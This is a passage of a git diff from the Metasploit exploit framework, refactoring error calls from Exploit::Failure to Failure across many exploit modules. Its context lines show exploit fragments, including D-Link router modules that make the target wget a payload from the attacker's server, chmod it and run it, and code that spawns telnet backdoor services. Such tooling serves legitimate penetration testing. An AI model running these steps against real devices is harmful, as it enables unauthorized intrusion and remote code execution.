12 +++---- .../http/dlink_diagnostic_exec_noauth.rb | 12 +++---- .../linux/http/dlink_dir300_exec_telnet.rb | 18 +++++------ .../linux/http/dlink_dir615_up_exec.rb | 18 +++++------ .../linux/http/dlink_upnp_exec_noauth.rb | 20 ++++++------ .../linux/http/dreambox_openpli_shell.rb | 2 +- .../foreman_openstack_satellite_code_exec.rb | 12 +++---- .../linux/http/groundwork_monarch_cmd_exec.rb | 2 +- .../linux/http/linksys_e1500_apply_exec.rb | 18 +++++------ .../http/linksys_wrt160nv2_apply_exec.rb | 18 +++++------ .../linux/http/linksys_wrt54gl_apply_exec.rb | 32 +++++++++---------- .../linux/http/mutiny_frontend_upload.rb | 6 ++-- .../linux/http/netgear_dgn1000b_setup_exec.rb | 18 +++++------ .../linux/http/netgear_dgn2200b_pppoe_exec.rb | 28 ++++++++-------- .../exploits/linux/http/nginx_chunked_size.rb | 4 +-- .../linux/http/openfiler_networkcard_exec.rb | 6 ++-- .../linux/http/pineapp_test_li_conn_exec.rb | 2 +- .../linux/http/zen_load_balancer_exec.rb | 6 ++-- modules/exploits/linux/imap/imap_uw_lsub.rb | 2 +- modules/exploits/linux/local/hp_smhstart.rb | 2 +- .../exploits/linux/local/kloxo_lxsuexec.rb | 2 +- .../linux/madwifi/madwifi_giwscan_cb.rb | 2 +- .../linux/misc/mongod_native_helper.rb | 8 ++--- .../linux/misc/nagios_nrpe_arguments.rb | 2 +- .../linux/misc/novell_edirectory_ncp_bof.rb | 2 +- .../linux/mysql/mysql_yassl_getname.rb | 4 +-- .../linux/samba/lsa_transnames_heap.rb | 2 +- modules/exploits/linux/samba/trans2open.rb | 4 +-- .../exploits/linux/smtp/exim4_dovecot_exec.rb | 14 ++++---- .../linux/telnet/telnet_encrypt_keyid.rb | 2 +- .../multi/browser/java_signed_applet.rb | 2 +- .../multi/ftp/wuftpd_site_exec_format.rb | 10 +++--- modules/exploits/multi/handler.rb | 2 +- .../multi/http/extplorer_upload_exec.rb | 12 +++---- .../exploits/multi/http/glassfish_deployer.rb | 6 ++-- .../multi/http/glossword_upload_exec.rb | 14 ++++---- .../multi/http/horde_href_backdoor.rb | 2 +- .../exploits/multi/http/hp_sys_mgmt_exec.rb | 6 ++-- .../exploits/multi/http/jboss_bshdeployer.rb | 14 ++++---- .../http/jboss_deploymentfilerepository.rb | 6 ++-- .../exploits/multi/http/jboss_maindeployer.rb | 12 +++---- .../multi/http/jenkins_script_console.rb | 6 ++-- .../multi/http/kordil_edms_upload_exec.rb | 6 ++-- .../multi/http/mutiny_subnetmask_exec.rb | 4 +-- .../multi/http/netwin_surgeftp_exec.rb | 4 +-- .../multi/http/phpmyadmin_preg_replace.rb | 8 ++--- .../multi/http/polarcms_upload_exec.rb | 2 +- .../http/rails_secret_deserialization.rb | 6 ++-- .../exploits/multi/http/sit_file_upload.rb | 8 ++--- .../multi/http/sonicwall_gms_upload.rb | 2 +- .../exploits/multi/http/splunk_mappy_exec.rb | 4 +-- .../multi/http/splunk_upload_app_exec.rb | 8 ++--- .../exploits/multi/http/struts_code_exec.rb | 2 +- .../struts_code_exec_exception_delegator.rb | 2 +- .../multi/http/struts_code_exec_parameters.rb | 2 +- .../http/struts_default_action_mapper.rb | 18 +++++------ .../multi/http/struts_include_params.rb | 2 +- modules/exploits/multi/http/stunshell_exec.rb | 2 +- .../exploits/multi/http/tomcat_mgr_deploy.rb | 6 ++-- modules/exploits/multi/http/v0pcr3w_exec.rb | 2 +- .../exploits/multi/http/wikka_spam_exec.rb | 8 ++--- .../http/zenworks_control_center_upload.rb | 2 +- modules/exploits/multi/misc/hp_vsa_exec.rb | 2 +- .../multi/php/php_unserialize_zval_cookie.rb | 10 +++--- .../multi/sap/sap_mgmt_con_osexec_payload.rb | 20 ++++++------ .../sap/sap_soap_rfc_sxpg_call_system_exec.rb | 6 ++-- .../sap/sap_soap_rfc_sxpg_command_exec.rb | 6 ++-- modules/exploits/multi/ssh/sshexec.rb | 10 +++--- modules/exploits/multi/svn/svnserve_date.rb | 4 +-- .../multi/upnp/libupnp_ssdp_overflow.rb | 2 +- .../osx/browser/safari_file_policy.rb | 2 +- .../osx/browser/safari_metadata_archive.rb | 2 +- modules/exploits/osx/mdns/upnp_location.rb | 2 +- modules/exploits/unix/http/lifesize_room.rb | 4 +-- .../exploits/unix/smtp/exim4_string_format.rb | 12 +++---- .../unix/webapp/citrix_access_gateway_exec.rb | 2 +- .../unix/webapp/coppermine_piceditor.rb | 2 +- .../exploits/unix/webapp/foswiki_maketext.rb | 6 ++-- .../unix/webapp/havalite_upload_exec.rb | 8 ++--- .../unix/webapp/joomla_media_upload_exec.rb | 14 ++++---- .../unix/webapp/libretto_upload_exec.rb | 10 +++--- .../unix/webapp/moinmoin_twikidraw.rb | 6 ++-- .../unix/webapp/nagios3_history_cgi.rb | 6 ++-- .../unix/webapp/openemr_upload_exec.rb | 2 +- .../exploits/unix/webapp/openx_banner_edit.rb | 8 ++--- .../unix/webapp/oracle_vm_agent_utl.rb | 2 +- .../exploits/unix/webapp/php_charts_exec.rb | 4 +-- .../unix/webapp/php_vbulletin_template.rb | 2 +- .../unix/webapp/php_wordpress_total_cache.rb | 8 ++--- .../exploits/unix/webapp/php_xmlrpc_eval.rb | 2 +- .../exploits/unix/webapp/phpmyadmin_config.rb | 4 +-- .../unix/webapp/sphpblog_file_upload.rb | 2 +- .../webapp/tikiwiki_graph_formula_exec.rb | 2 +- .../unix/webapp/trixbox_langchoice.rb | 6 ++-- modules/exploits/unix/webapp/twiki_history.rb | 2 +- .../exploits/unix/webapp/twiki_maketext.rb | 6 ++-- modules/exploits/unix/webapp/twiki_search.rb | 2 +- .../webapp/wp_advanced_custom_fields_exec.rb | 4 +-- .../webapp/wp_asset_manager_upload_exec.rb | 4 +-- .../wp_google_document_embedder_exec.rb | 24 +++++++------- .../unix/webapp/wp_property_upload_exec.rb | 2 +- .../webapp/zoneminder_packagecontrol_exec.rb | 8 ++--- .../unix/webapp/zpanel_username_exec.rb | 8 ++--- .../windows/antivirus/ams_hndlrsvc.rb | 4 +-- modules/exploits/windows/antivirus/ams_xfr.rb | 2 +- .../windows/browser/java_codebase_trust.rb | 2 +- .../browser/java_ws_arginject_altjvm.rb | 2 +- .../windows/browser/java_ws_vmargs.rb | 2 +- .../browser/keyhelp_launchtripane_exec.rb | 2 +- .../ms07_017_ani_loadimage_chunksize.rb | 2 +- .../browser/ms10_022_ie_vbscript_winhlp32.rb | 2 +- .../browser/ms10_042_helpctr_xss_cmd_exec.rb | 2 +- .../ms10_046_shortcut_icon_dllloader.rb | 2 +- .../windows/browser/ms11_003_ie_css_import.rb | 4 +-- .../windows/browser/ubisoft_uplay_cmd_exec.rb | 4 +-- .../windows/browser/webdav_dll_hijacker.rb | 2 +- .../windows/browser/wmi_admintools.rb | 4 +-- .../email/ms10_045_outlook_ref_only.rb | 2 +- .../email/ms10_045_outlook_ref_resolve.rb | 2 +- .../windows/emc/networker_format_string.rb | 2 +- .../fileformat/ms09_067_excel_featheader.rb | 4 +-- .../fileformat/ms10_004_textbytesatom.rb | 6 ++-- .../ms11_006_createsizeddibsection.rb | 8 ++--- .../windows/fileformat/vlc_modplug_s3m.rb | 6 ++-- .../exploits/windows/ftp/open_ftpd_wbem.rb | 2 +- .../windows/http/altn_securitygateway.rb | 2 +- .../http/ca_arcserve_rpc_authbypass.rb | 4 +-- .../http/ca_totaldefense_regeneratereports.rb | 4 +-- modules/exploits/windows/http/easyftp_list.rb | 2 +- .../exploits/windows/http/ektron_xslt_exec.rb | 2 +- .../windows/http/hp_imc_mibfileupload.rb | 2 +- .../exploits/windows/http/hp_mpa_job_acct.rb | 2 +- modules/exploits/windows/http/hp_nnm_ovas.rb | 4 +-- .../windows/http/hp_nnm_ovwebsnmpsrv_main.rb | 4 +-- .../http/hp_nnm_ovwebsnmpsrv_ovutil.rb | 4 +-- .../windows/http/httpdx_tolog_format.rb | 4 +-- .../windows/http/integard_password_bof.rb | 2 +- .../windows/http/miniweb_upload_wbem.rb | 4 +-- .../windows/http/novell_imanager_upload.rb | 2 +- .../exploits/windows/http/osb_uname_jlist.rb | 2 +- .../http/sap_configservlet_exec_noauth.rb | 8 ++--- .../windows/http/sap_host_control_cmd_exec.rb | 2 +- .../http/sap_mgmt_con_osexec_payload.rb | 4 +-- .../http/vmware_vcenter_chargeback_upload.rb | 2 +- .../windows/iis/ms01_026_dbldecode.rb | 2 +- modules/exploits/windows/imap/eudora_list.rb | 2 +- modules/exploits/windows/isapi/w3who_query.rb | 2 +- .../local/adobe_sandbox_adobecollabsync.rb | 30 ++++++++--------- .../windows/local/ms13_005_hwnd_broadcast.rb | 4 +-- .../windows/local/novell_client_nicm.rb | 16 +++++----- .../windows/local/novell_client_nwfs.rb | 18 +++++------ .../exploits/windows/local/ppr_flatten_rec.rb | 8 ++--- .../exploits/windows/local/s4u_persistence.rb | 16 +++++----- .../exploits/windows/lotus/lotusnotes_lzh.rb | 2 +- .../windows/misc/bigant_server_dupf_upload.rb | 4 +-- .../misc/bigant_server_sch_dupf_bof.rb | 4 +-- .../exploits/windows/misc/hp_omniinet_1.rb | 4 +-- .../exploits/windows/misc/hp_omniinet_2.rb | 4 +-- .../misc/ibm_director_cim_dllinject.rb | 4 +-- .../mmsp/ms10_025_wmss_connect_funnel.rb | 2 +- .../mssql/ms09_004_sp_replwritetovarbin.rb | 10 +++--- .../ms09_004_sp_replwritetovarbin_sqli.rb | 4 +-- .../exploits/windows/novell/netiq_pum_eval.rb | 6 ++-- .../oracle/client_system_analyzer_upload.rb | 4 +-- .../windows/oracle/tns_auth_sesskey.rb | 10 +++--- .../exploits/windows/smb/ms06_070_wkssvc.rb | 4 +-- .../exploits/windows/smb/ms08_067_netapi.rb | 6 ++-- .../exploits/windows/smb/ms10_061_spoolss.rb | 12 +++---- modules/exploits/windows/smb/psexec_psh.rb | 6 ++-- 177 files changed, 527 insertions(+), 527 deletions(-) diff --git a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb index 3d88a33700027..6beb49e276927 100644 --- a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb +++ b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb @@ -93,7 +93,7 @@ def cleanup # def use_zlib if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true) - fail_with(Exploit::Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!") + fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!") end end diff --git a/modules/exploits/aix/rpc_cmsd_opcode21.rb b/modules/exploits/aix/rpc_cmsd_opcode21.rb index 11020201aff87..1bcffae74c184 100644 --- a/modules/exploits/aix/rpc_cmsd_opcode21.rb +++ b/modules/exploits/aix/rpc_cmsd_opcode21.rb @@ -83,7 +83,7 @@ def brute_exploit(brute_target) begin if (not sunrpc_create('udp', 100068, 4)) - fail_with(Exploit::Failure::Unknown, 'sunrpc_create failed') + fail_with(Failure::Unknown, 'sunrpc_create failed') end # spray the heap a bit (work around powerpc cache issues) diff --git a/modules/exploits/bsdi/softcart/mercantec_softcart.rb b/modules/exploits/bsdi/softcart/mercantec_softcart.rb index 67833e7898fdd..ac8255685d2a5 100644 --- a/modules/exploits/bsdi/softcart/mercantec_softcart.rb +++ b/modules/exploits/bsdi/softcart/mercantec_softcart.rb @@ -72,7 +72,7 @@ def brute_exploit(address) 'uri' => normalize_uri(datastore['URI']) }, 5) @mercantec = (res and res.body and res.body =~ /Copyright.*Mercantec/) - fail_with(Exploit::Failure::NotFound, "The target is not a Mercantec CGI") if not @mercantec + fail_with(Failure::NotFound, "The target is not a Mercantec CGI") if not @mercantec end buffer = diff --git a/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb b/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb index cb7d6181e5812..4153dd14b2d73 100644 --- a/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb +++ b/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb @@ -148,7 +148,7 @@ def exploit print_status("FTP Banner: #{banner.strip}") version = m[1] else - fail_with(Exploit::Failure::NoTarget, "No matching target") + fail_with(Failure::NoTarget, "No matching target") end regexp = Regexp.escape(version) @@ -160,14 +160,14 @@ def exploit end if (not @mytarget) - fail_with(Exploit::Failure::NoTarget, "No matching target") + fail_with(Failure::NoTarget, "No matching target") end print_status("Selected Target: #{@mytarget.name}") pl = exploit_regenerate_payload(@mytarget.platform, arch) if not pl - fail_with(Exploit::Failure::Unknown, 'Unable to regenerate payload!') + fail_with(Failure::Unknown, 'Unable to regenerate payload!') end else print_status("Trying target #{@mytarget.name}...") diff --git a/modules/exploits/freebsd/local/mmap.rb b/modules/exploits/freebsd/local/mmap.rb index a3ac392b6e80e..6b0687fede5ff 100644 --- a/modules/exploits/freebsd/local/mmap.rb +++ b/modules/exploits/freebsd/local/mmap.rb @@ -69,7 +69,7 @@ def upload_payload fname = datastore['WritableDir'] fname = "#{fname}/" unless fname =~ %r'/$' if fname.length > 36 - fail_with(Exploit::Failure::BadConfig, "WritableDir can't be longer than 33 characters") + fail_with(Failure::BadConfig, "WritableDir can't be longer than 33 characters") end fname = "#{fname}#{Rex::Text.rand_text_alpha(4)}" @@ -100,11 +100,11 @@ def upload_exploit(payload_fname) def exploit payload_fname = upload_payload - fail_with(Exploit::Failure::NotFound, "Payload failed to upload") if payload_fname.nil? + fail_with(Failure::NotFound, "Payload failed to upload") if payload_fname.nil? print_status("Payload #{payload_fname} uploaded.") exploit_fname = upload_exploit(payload_fname) - fail_with(Exploit::Failure::NotFound, "Exploit failed to upload") if exploit_fname.nil? + fail_with(Failure::NotFound, "Exploit failed to upload") if exploit_fname.nil? print_status("Exploit #{exploit_fname} uploaded.") register_files_for_cleanup(payload_fname, exploit_fname) diff --git a/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb b/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb index f98eed8595e12..dff750fe6d2e5 100644 --- a/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb +++ b/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb @@ -97,7 +97,7 @@ def exploit_target(t) loop do data = sock.get_once(-1, 5) rescue nil if not data - fail_with(Exploit::Failure::Unknown, "This system does not support encryption") + fail_with(Failure::Unknown, "This system does not support encryption") end break if data.index("\xff\xfa\x26\x02\x01") end diff --git a/modules/exploits/linux/ftp/proftp_sreplace.rb b/modules/exploits/linux/ftp/proftp_sreplace.rb index 6639ede3bbdf8..12219bcf221fb 100644 --- a/modules/exploits/linux/ftp/proftp_sreplace.rb +++ b/modules/exploits/linux/ftp/proftp_sreplace.rb @@ -165,7 +165,7 @@ def exploit print_status("FTP Banner: #{banner.strip}") version = m[1] else - fail_with(Exploit::Failure::NoTarget, "No matching target") + fail_with(Failure::NoTarget, "No matching target") end regexp = Regexp.escape(version) @@ -177,7 +177,7 @@ def exploit end if (not mytarget) - fail_with(Exploit::Failure::NoTarget, "No matching target") + fail_with(Failure::NoTarget, "No matching target") end print_status("Selected Target: #{mytarget.name}") @@ -193,7 +193,7 @@ def exploit pwd = send_cmd(['PWD']) if pwd !~ /257\s\"(.+)\"/ - fail_with(Exploit::Failure::Unknown, "Unable to get current working directory") + fail_with(Failure::Unknown, "Unable to get current working directory") end pwd = $1 pwd << "/" if pwd[-1,1] != "/" diff --git a/modules/exploits/linux/ftp/proftp_telnet_iac.rb b/modules/exploits/linux/ftp/proftp_telnet_iac.rb index 4ae4c0525b843..bc3bb51c26af3 100644 --- a/modules/exploits/linux/ftp/proftp_telnet_iac.rb +++ b/modules/exploits/linux/ftp/proftp_telnet_iac.rb @@ -325,7 +325,7 @@ def exploit print_status("FTP Banner: #{banner.strip}") version = m[1] else - fail_with(Exploit::Failure::NoTarget, "No matching target") + fail_with(Failure::NoTarget, "No matching target") end regexp = Regexp.escape(version) @@ -337,7 +337,7 @@ def exploit end if (not mytarget) - fail_with(Exploit::Failure::NoTarget, "No matching target") + fail_with(Failure::NoTarget, "No matching target") end print_status("Selected Target: #{mytarget.name}") @@ -383,7 +383,7 @@ def exploit # Make sure we didn't introduce instability addr_badchars = "\x09\x0a\x0b\x0c\x20" if idx = Rex::Text.badchar_index(addrs, addr_badchars) - fail_with(Exploit::Failure::Unknown, ("One or more address contains a bad character! (0x%02x @ 0x%x)" % [addrs[idx,1].unpack('C').first, idx])) + fail_with(Failure::Unknown, ("One or more address contains a bad character! (0x%02x @ 0x%x)" % [addrs[idx,1].unpack('C').first, idx])) end buf << addrs @@ -432,7 +432,7 @@ def exploit end if not session_created? - fail_with(Exploit::Failure::Unknown, "Unable to guess the cookie value, sorry :-/") + fail_with(Failure::Unknown, "Unable to guess the cookie value, sorry :-/") end else sock.put(buf) diff --git a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb index 9a219a224c944..4bc3679a6899d 100644 --- a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb @@ -76,13 +76,13 @@ def exploit def exploit_cmd if not (datastore['CMD']) - fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") + fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = "#{payload.encoded}; echo end" print_status("#{rhost}:#{rport} - Sending exploit request...") res = request(cmd) if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux, HTTP\/1.1, DIR/) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end if res.body.include?("end") @@ -90,7 +90,7 @@ def exploit_cmd vprint_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n") vprint_line("#{rhost}:#{rport} - Output: #{res.body}") else - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end return @@ -114,7 +114,7 @@ def exploit_telnet print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...") add_socket(sock) else - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") end print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}" @@ -137,7 +137,7 @@ def exploit_telnet } start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock) rescue - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service") end return end @@ -156,7 +156,7 @@ def request(cmd) }) return res rescue ::Rex::ConnectionError - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice") end end end diff --git a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb index aaf9a51a886ba..759d8cb59d5c9 100644 --- a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb @@ -102,12 +102,12 @@ def exploit if target.name =~ /CMD/ if not (datastore['CMD']) - fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") + fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded res = request(cmd,uri) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") return @@ -163,7 +163,7 @@ def exploit cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}" res = request(cmd,uri) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end # wait for payload download @@ -182,7 +182,7 @@ def exploit print_status("#{rhost}:#{rport} - Asking the D-Link device to chmod #{downfile}") res = request(cmd,uri) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end # @@ -192,7 +192,7 @@ def exploit print_status("#{rhost}:#{rport} - Asking the D-Link device to execute #{downfile}") res = request(cmd,uri) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end end @@ -218,7 +218,7 @@ def wait_linux_payload select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?") end end end diff --git a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb index d0f10e5bc4826..5a234baf0e7e5 100644 --- a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb +++ b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb @@ -108,23 +108,23 @@ def test_login(user, pass) } }) if res.nil? - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - no response") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - no response") end if (res.headers['Server'].nil? or res.headers['Server'] !~ /Mathopd\/1.5p6/) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - check the server banner") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - check the server banner") end if (res.code == 404) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - 404 error") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - 404 error") end if (res.body) =~ /#{login_check}/ print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") else - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end rescue ::Rex::ConnectionError - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice") end end @@ -143,21 +143,21 @@ def exploit_telnet sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) if sock.nil? - fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") + fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") end print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") prompt = negotiate_telnet(sock) if prompt.nil? sock.close - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session") else print_good("#{rhost}:#{rport} - Telnet session successfully established...") end handler(sock) rescue - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service") end return @@ -179,7 +179,7 @@ def request(cmd) }) return res rescue ::Rex::ConnectionError - fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice") + fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice") end end diff --git a/modules/exploits/linux/http/dlink_dir615_up_exec.rb b/modules/exploits/linux/http/dlink_dir615_up_exec.rb index 234b433e54a0e..e2043f6ac5500 100644 --- a/modules/exploits/linux/http/dlink_dir615_up_exec.rb +++ b/modules/exploits/linux/http/dlink_dir615_up_exec.rb @@ -122,25 +122,25 @@ def exploit } }) if res.nil? or res.code == 404 - fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end if res.body =~ /\showMainTabs\(\"setup\"\)\;\<\/script\>/ print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") else - fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end rescue ::Rex::ConnectionError - fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") + fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") end if target.name =~ /CMD/ if not (datastore['CMD']) - fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") + fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded res = request(cmd) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") else print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") end @@ -194,7 +194,7 @@ def exploit cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}" res = request(cmd) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end # wait for payload download @@ -216,7 +216,7 @@ def exploit print_status("#{rhost}:#{rport} - Asking the D-Link device to chmod #{downfile}") res = request(cmd) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration") select(nil, nil, nil, @timeout) @@ -228,7 +228,7 @@ def exploit print_status("#{rhost}:#{rport} - Asking the D-Link device to execute #{downfile}") res = request(cmd) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end end @@ -254,7 +254,7 @@ def wait_linux_payload select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end end diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb index 134592891bdfa..5e1f5a5321c09 100644 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb @@ -97,19 +97,19 @@ def exploit def exploit_cmd if not (datastore['CMD']) - fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") + fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded type = "add" res = request(cmd, type) if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") type = "delete" res = request(cmd, type) if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end return end @@ -123,12 +123,12 @@ def exploit_telnet type = "add" res = request(cmd, type) if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end type = "delete" res = request(cmd, type) if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end begin @@ -138,7 +138,7 @@ def exploit_telnet print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...") add_socket(sock) else - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") end print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}" @@ -161,7 +161,7 @@ def exploit_telnet } start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock) rescue - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") + fail_with(Failure::Unknown, 